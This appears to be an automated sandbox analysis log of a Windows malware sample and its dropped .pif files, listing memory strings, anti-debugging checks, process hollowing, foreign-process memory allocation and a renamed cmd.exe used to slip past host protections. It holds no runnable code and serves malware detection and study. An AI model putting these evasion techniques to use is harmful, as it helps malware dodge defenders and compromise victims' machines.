Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 597093
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596984
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596875
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596765
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596656
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596546
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596437
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596328
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596218
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 596109
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595999
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595890
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595780
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595671
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595562
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595453
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595343
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595234
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595125
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 595015
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594906
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594796
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594686
Source: C:\Users\Public\Libraries\yihfsboC.pif	Thread delayed: delay time: 594578

Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd155c28fa062f<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dc191055343<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd101cbc07fa5f<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e867d773907<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10f104b8c903<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1006e1e9399e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f519f0d5ca3<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ec9f12dbdf1<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11c811aae335<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10c1527eafe5<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1044355765bf<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ec250d2c789<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f0c03271772<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1011a0457cfd<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10354bf3d436<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e18ff2f9f9e<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f35250cf7bb<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0eb5ee92c4e0<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dc19c90c343<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11559464c338<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f8fc54b4863<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11dc4fb6d2d1<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10f381542235<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ecccaf1fdd6<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0efa41ff69d7<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e425aa9301b<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd12d4ee8d8cfe<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dcf5032218b<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fd2dd57c60f<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fab9e050937<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f28be95a5fb<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0df0efc49c34<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ff1a9c0edb8<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f1e9f0c802f<
Source: Cobsfhiy.PIF, 00000018.00000002.1551396300.0000000000828000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll[
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f4ce99ede20<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dc18a308c59
Source: yihfsboC.pif, 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dcf44be8900<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0de86b2c0ccf<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd12345456dd07<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f1ddc04ff5a<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f6f3c5dd29e<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd114d7c71abd4<
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWNi
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dd94d3b31f7<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1197e49d4113<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e2c53de666f<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1423a1fed966<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f76f31b176f<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0eb3179c3f7f<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd112bbdaca27c<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e633f512fcf<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f4082f33a4c<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ef55334ac8a<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e2c5dc4481c<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11aa88ccb890<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10ec2ab08ceb<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f5908777d5b<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e6f6632ec55<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f08a8cc2626<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f63476ff6d9<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd112726dfdaef<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd12a00e36c4c0<
Source: EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1353822380.000000000076E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd12a75cd9b643<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10047244b21a<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f9b66364c74<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fe7f7931677<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd14c06965d3a2<
Source: yihfsboC.pif, 0000000E.00000002.2534862265.000000002423F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ea1aff451e4<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ede0895058a<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e97064f676e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e5dbbcfced3<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f2f0420657e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f7f6e69a05f<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd102ad1bb58e8<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fe461bde220<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd131d191f6227<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e3f97e51cd2<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e138cddbc0c<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f82c2b37b8e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11703916c344<
Source: xpha.pif, 00000014.00000002.1533592941.0000000002690000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllL
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd106900031a3d<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10564b4229a8<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1121e522ff54<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0eab5a499b52<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd105de7de44b5<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f440fe0220d<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fac6961b0ab<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e2afe1517dc<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ee23a537a0e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd13bb487a2aa3
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e8c046fa382<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f14dc5e3fef<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fb53f2b9fbb<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0de89fac7a38<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dfed0e58a0d<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1220a2538758<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1275f877ff90<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000260F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dc19698755d<
Source: Cobsfhiy.PIF, 00000015.00000002.1462267531.000000000072D000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2538244625.0000000032815000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2529660851.00000000268E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10968007cad7<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fc80cbc88b2<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e000d88a51d<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e1651b783f6<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e74ea27430b<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fc7a70b6000<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e7d2eac84a9<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ea18e3d18a2<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e58399bf1a8<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f982ba92d5d<

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	API call chain: ExitProcess graph end node	graph_0-38021
Source: C:\Users\Public\Libraries\yihfsboC.pif	API call chain: ExitProcess graph end node	graph_14-54639
Source: C:\Users\Public\Libraries\yihfsboC.pif	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	API call chain: ExitProcess graph end node

Source: C:\Users\Public\Libraries\yihfsboC.pif

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B2F744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_02B2F744

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process queried: DebugPort
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process queried: DebugPort

Source: C:\Users\Public\Libraries\yihfsboC.pif

Code function: 14_2_28DFE660 LdrInitializeThunk,LdrInitializeThunk,

14_2_28DFE660

Source: C:\Users\Public\Libraries\yihfsboC.pif

Code function: 14_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

14_2_0040CE09

Source: C:\Users\Public\Libraries\yihfsboC.pif

14_2_004019F0

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B2894C LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02B2894C

Source: C:\Users\Public\alpha.pif	Code function: 16_2_003BC1FA mov eax, dword ptr fs:[00000030h]		16_2_003BC1FA
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003BC1FA mov eax, dword ptr fs:[00000030h]		19_2_003BC1FA

Source: C:\Users\Public\Libraries\yihfsboC.pif

Code function: 14_2_0040ADB0 GetProcessHeap,HeapFree,

14_2_0040ADB0

Source: C:\Users\Public\Libraries\yihfsboC.pif

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_0040CE09
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_0040E61C
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00416F6A
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 14_2_004123F1 SetUnhandledExceptionFilter,	14_2_004123F1
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A6EC0 SetUnhandledExceptionFilter,	16_2_003A6EC0
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A6B40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_003A6B40
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A6EC0 SetUnhandledExceptionFilter,	19_2_003A6EC0
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A6B40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_003A6B40
Source: C:\Users\Public\xpha.pif	Code function: 20_2_00383600 SetUnhandledExceptionFilter,	20_2_00383600
Source: C:\Users\Public\xpha.pif	Code function: 20_2_00383470 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_00383470
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_0040CE09
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_0040E61C
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00416F6A
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 23_2_004123F1 SetUnhandledExceptionFilter,	23_2_004123F1

Source: C:\Users\Public\Libraries\yihfsboC.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Memory allocated: C:\Users\Public\Libraries\yihfsboC.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Memory allocated: C:\Users\Public\Libraries\yihfsboC.pif base: 400000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Memory allocated: C:\Users\Public\Libraries\yihfsboC.pif base: 400000 protect: page execute and read and write

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section unmapped: C:\Users\Public\Libraries\yihfsboC.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Section unmapped: C:\Users\Public\Libraries\yihfsboC.pif base address: 400000
